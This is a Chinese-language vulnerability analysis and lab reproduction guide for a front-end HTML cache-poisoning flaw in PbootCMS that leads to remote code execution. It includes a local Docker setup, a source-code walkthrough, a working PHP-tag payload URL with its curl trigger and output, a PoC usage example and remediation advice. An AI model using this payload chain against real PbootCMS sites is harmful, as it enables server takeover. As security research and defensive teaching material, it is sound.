PbootCMS 前台缓存投毒导致代码执行漏洞分析与复现教学文档
一、漏洞概述
1.1 漏洞本质
本次分析的漏洞并非传统的单点危险函数漏洞,而是由三条看似正常的逻辑链路组合形成的利用链:
前台匿名请求 → 污染HTML页面内容 → 写入HTML缓存 → 二次命中缓存 → PHP代码执行
1.2 漏洞类型
前台HTML缓存投毒导致远程代码执行(RCE)
1.3 影响版本
V3.2.5 至 V3.2.13(含),其中 V3.2.13-20260525 已完成动态复现验证
1.4 利用条件
- 命中真实前台路由
- HTML缓存开启(默认开启)
- Spider记录逻辑可达(默认可达)
- 兼容模式路由可用(默认可用)
二、环境搭建
2.1 获取源码
git clone https://github.com/pbootcmspro/PbootCMS.git
cd PbootCMS
2.2 构建Docker环境
PbootCMS不支持PHP 8,需使用PHP 7.4环境:
FROM php:7.4-apache-bullseye
RUN apt-get update \
&& apt-get install -y libsqlite3-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev unzip \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install pdo pdo_sqlite gd \
&& a2enmod rewrite \
&& sed -ri 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /var/www/html
CMD ["bash","-lc","sed -ri 's/^export APACHE_RUN_USER=.*/export APACHE_RUN_USER=root/; s/^export APACHE_RUN_GROUP=.*/export APACHE_RUN_GROUP=root/' /etc/apache2/envvars && apache2-foreground"]
构建镜像:
docker build -t pbootcms-audit-php74 -< Dockerfile
2.3 配置项目
cp rewrite/.htaccess .htaccess
mkdir -p runtime/cache runtime/complile runtime/backup runtime/log
chmod -R 777 runtime
2.4 启动容器
docker run -d \
--name pbootcms-audit \
-p 8088:80 \
-v "$PWD":/var/www/html \
pbootcms-audit-php74
2.5 验证环境
访问 http://127.0.0.1:8088/,确保首页和aboutus等栏目可正常访问。
三、漏洞链路详细分析
3.1 路由入口:前台路由是漏洞前提
关键代码位置:apps/home/controller/IndexController.php 的 _empty() 方法
public function _empty()
{
$url_rule_type = $this->config('url_rule_type') ?: 3;
if (P) {
$path = P;
} elseif ($url_rule_type == 3 && isset($_SERVER["QUERY_STRING"]) && $qs = $_SERVER["QUERY_STRING"]) {
parse_str($qs, $output);
unset($output['page']);
if ($output && !current($output)) {
$path = key($output);
}
}
// ...
}
核心要点:
P参数存在时,直接作为前台路径- 当
url_rule_type=3时,/?aboutus/这种query-key风格也被识别为栏目路径 - 只有命中真实栏目,后续的模板渲染、Spider注入和缓存写入才会发生
可进入真实页面的请求形态:
/?p=/aboutus/
/?aboutus/
/aboutus/
3.2 Spider记录逻辑:将当前URL拼回页面
关键代码位置:apps/home/controller/ParserController.php
if ($this->config('spiderlog') !== '0') {
if ($this->config('tpl_html_cache')) {
// 缓存时插入script,否则直接执行
$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . URL) . "' async='async'></script>";
$content = preg_replace('/(<\/body>)/i', $spidercode . "\n$1", $content);
} else {
$spider = new SpiderController(URL);
$spider->index();
}
}
危险点:
- 当前请求路径
URL参与生成<script src='...'> - 生成的spidercode直接拼进当前页面的HTML内容
- 污染后的
$content继续流向缓存逻辑
3.3 Url::home() 生成机制
关键代码位置:core/basic/Url.php
public static function home($path, $suffix = null, $qs = null)
{
switch ($url_rule_type) {
case '3': // 兼容模式
$qs = $qs ? "&" . $qs : '';
$link = SITE_INDEX_DIR . '/?' . $path . $suffix . $qs;
break;
}
}
生成结果示例:
Url::home('Spider', null, 'url=' . URL) 在默认兼容模式下生成:
/?Spider/&url=<当前URL>
这意味着payload通过"当前请求URL反射回页面"的方式进入HTML,而非通过模板标签或数据库字段。
3.4 缓存写入条件的绕过
关键代码位置:core/view/View.php
public function cache($content)
{
if (Config::get('tpl_html_cache') && ! query_string('p,s')) {
$lg = cookie('lg');
// ...
$cacheFile = $this->cachePath . '/' . md5(get_http_url() . $_SERVER["REQUEST_URI"] . $lg . $wap) . '.html';
file_put_contents($cacheFile, $content) ?: error('缓存文件' . $cacheFile . '生成出错!请检查目录是否有可写权限!');
return true;
}
return false;
}
关键判断:! query_string('p,s')
跟进函数:core/function/handle.php
function query_string($unset = null)
{
if (isset($_SERVER["QUERY_STRING"]) && !!$qs = $_SERVER["QUERY_STRING"]) {
parse_str($qs, $output);
unset($output['page']);
$unset = strpos($unset, ',') ? explode(',', $unset) : $unset;
if (is_array($unset)) {
foreach ($unset as $value) {
if (isset($output[$value])) {
unset($output[$value]);
}
}
}
// ...
}
return $qs ? '?' . $qs : '';
}
绕过逻辑分析:
假设请求为:
/?p=/aboutus/&s=<?=/**/system("whoami");?>
query_string('p,s')先删除查询参数中的p和s- 删除后若无其他参数,函数返回空字符串
! query_string('p,s')条件成立(空字符串取反为true)- 携带payload的整页HTML被写入
runtime/cache/*.html
核心问题:payload明明在query string中,但缓存策略恰好把承载payload的两个参数当成"可忽略参数"。
3.5 缓存内容落盘机制
关键代码位置:core/basic/Controller.php
final protected function cache($content, $display = true)
{
$view = View::getInstance();
if (Config::get('tpl_html_cache')) {
$content = str_replace('{pboot:runtime}', 'Cached at ' . date('Y-m-d H:i:s'), $content);
} else {
$content = $this->runtime($content);
}
$view->cache($content); // 压缩前缓存
$content = $this->gzip($content);
// ...
}
要点:
- 写入缓存的是完整页面HTML,非局部模板片段
- 写入动作发生在gzip之前,缓存文件保存原始可读内容
- 第一次请求后可在
runtime/cache/*.html中直接看到被污染的Spider片段
3.6 默认配置放大利用面
项目级配置文件 config/config.php:
return array(
'tpl_html_cache' => 1,
'tpl_html_cache_time' => 900000000000,
// ...
);
框架约定默认值 core/convention.php:
return array(
'tpl_html_cache' => 0,
'tpl_html_cache_time' => 900,
// ...
);
项目层明确将HTML缓存改为开启状态。
后台配置模板中spiderlog显示逻辑:
<input type="radio" name="spiderlog" value="1"
{if([$configs.spiderlog.value]=='1'||[$configs.spiderlog.value]=='')} checked="checked" {/if}
title="启用">
配置项为空时,默认落在"启用"分支。
地址模式:
<input type="radio" name="url_rule_type" value="3"
{if([$configs.url_rule_type.value]==3||![$configs.url_rule_type.value])} checked="checked" {/if}
title="兼容模式">
项目SQL备份中 url_rule_type 默认值为3。
默认部署视角的三重叠加:
- HTML缓存默认开启
- Spider记录逻辑默认可达
- 兼容模式路由默认可用
3.7 二次请求触发代码执行
缓存文件命名规则:
$cacheFile = $this->cachePath . '/' . md5(get_http_url() . $_SERVER["REQUEST_URI"] . $lg . $wap) . '.html';
执行原理:
第一次请求后,runtime/cache/*.html 保存原始 <?=/**/system("whoami");?>
第二次完全相同请求后,响应中同一位置变为命令执行结果 www-data
原因:缓存命中后,服务端对缓存文件中的PHP标签进行了解释执行,而非纯文本回传。
四、漏洞复现步骤
4.1 确认目标路由真实可达
访问真实存在的栏目,例如:
http://127.0.0.1:8088/?p=/aboutus/
确保返回正常页面,而非首页兜底。
4.2 清理缓存
docker exec pbootcms-audit sh -lc 'rm -f /var/www/html/runtime/cache/*.html'
4.3 首次请求:写入payload到缓存
http://127.0.0.1:8088/?p=/aboutus/&s=<?=/**/system("whoami");?>
第一次访问后,页面尾部出现被污染的Spider脚本:
<script src='/?Spider/&url=/?p=/aboutus/&s=<?=/**/system("whoami");?>' async='async'></script>
同时 runtime/cache/*.html 中存在相同原始代码。
4.4 二次请求:触发代码执行
curl "http://127.0.0.1:8088/?p=/aboutus/&s=<?=/**/system(\"whoami\");?>"
响应中同一位置变为:
<script src='/?Spider/&url=/?p=/aboutus/&s=www-data
www-data' async='async'></script>
双输出现象说明:
system("whoami")直接将命令输出打印<?= ... ?>又将返回值输出一次
此现象可确认为PHP代码执行,而非模板替换行为。
4.5 路由一致性要求
由于缓存文件名包含完整 REQUEST_URI,以下两种请求不会命中同一缓存文件:
/?p=/aboutus/&s=...
/?aboutus/&s=...
利用时必须保持前后请求的路由形态完全一致。
五、PoC工具
5.1 核心逻辑
PoC使用Python实现,主要流程:
- 预热路由:发送正常请求获取cookie
- 投毒请求:发送携带payload的请求写入缓存
- 触发请求:重复相同请求触发缓存命中
- 验证结果:检查响应中Spider脚本的
s=值是否为空、是否仍包含原始payload
5.2 使用示例
python3 pbootcms_cache_poisoning_rce_poc.py \
--target http://127.0.0.1:8088/ \
--route /aboutus/ \
--use-env-proxy \
--timeout 8 \
--cmd "ls" \
--no-verify
六、影响范围
| 版本范围 | 状态 |
|---|---|
| V3.2.5 至 V3.2.12 | 源码中存在相同关键逻辑和默认前置配置 |
| V3.2.13-20260525 | 已完成本地动态验证 |
补充说明:
- GitHub Releases最新发布包为V3.2.12
- V3.2.13存在于Git Tag和当前代码树中
七、修复建议
7.1 根本修复:缓存文件不再走可解释加载
缓存命中后应将文件作为纯文本读取,而非解释执行:
// 错误做法:include/require解释执行
include($cacheFile);
// 正确做法:file_get_contents纯文本读取
echo file_get_contents($cacheFile);
7.2 对Spider url=参数做双重安全处理
当前实现是直接拼接:
$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . URL) . "' async='async'></script>";
应同时做URL编码和HTML属性编码:
$encoded_url = urlencode(URL);
$safe_url = htmlspecialchars($encoded_url, ENT_QUOTES, 'UTF-8');
$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . $safe_url) . "' async='async'></script>";
7.3 收紧HTML缓存写入条件
- 默认不缓存带query string的前台请求
- 即使要缓存,采用参数白名单而非排除少数参数
p、s等兼容路由参数不应带着原始值参与缓存链路
7.4 临时缓解措施
- 关闭HTML缓存功能
- 禁用Spider记录功能
- 修改路由模式为非兼容模式
- 通过WAF规则拦截包含PHP标签的请求参数
注意:以上均为临时缓解,非根本解决方案。
八、总结
本漏洞的核心价值在于展示了多环节组合漏洞的分析方法:
| 环节 | 表面现象 | 实际风险 |
|---|---|---|
| 模板输出 | 普通反射 | 污染源进入HTML |
| 缓存写入 | 普通缓存策略 | 污染内容持久化 |
| 二次命中 | 普通缓存命中 | PHP解释执行 |
对于白盒审计而言,凡是"用户可控内容进入模板输出 → 进入持久化文件 → 在后续请求中被解释处理"的链路,都值得深入挖掘。